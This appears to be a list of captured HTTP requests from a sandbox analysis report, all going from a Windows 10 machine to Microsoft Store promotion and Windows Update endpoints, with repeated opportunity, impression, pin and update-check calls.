Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224416Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224417Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224420Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224422Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224426Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T224428Z&asid=56083deabdfa40fcb2c4fd132122a6c4&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224437Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224438Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224440Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224447Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224448Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224448Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224450Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224451Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T224452Z&asid=3e9db37a12bc40d7b2579be42fceeb2a&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=483128778&PG=PC000P0FR5.0000000IRT&REQASID=AA823973AFE94F8286F7C63B37967D6E&UNID=338388&ASID=43324800f8964087bf2401263c4e2851&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=77af70d3a32e49dc9ef17542880db57f&DEVOSVER=10.0.17134.1&REQT=20220720T134358&TIME=20220720T224437Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=483128778&PG=PC000P0FR5.0000000IRT&REQASID=AA823973AFE94F8286F7C63B37967D6E&UNID=338388&ASID=43324800f8964087bf2401263c4e2851&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=77af70d3a32e49dc9ef17542880db57f&DEVOSVER=10.0.17134.1&REQT=20220720T134358&TIME=20220720T224439Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224527Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224529Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224530Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224532Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224533Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224534Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224535Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224536Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224537Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224539Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224539Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224540Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224548Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224549Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224550Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224550Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
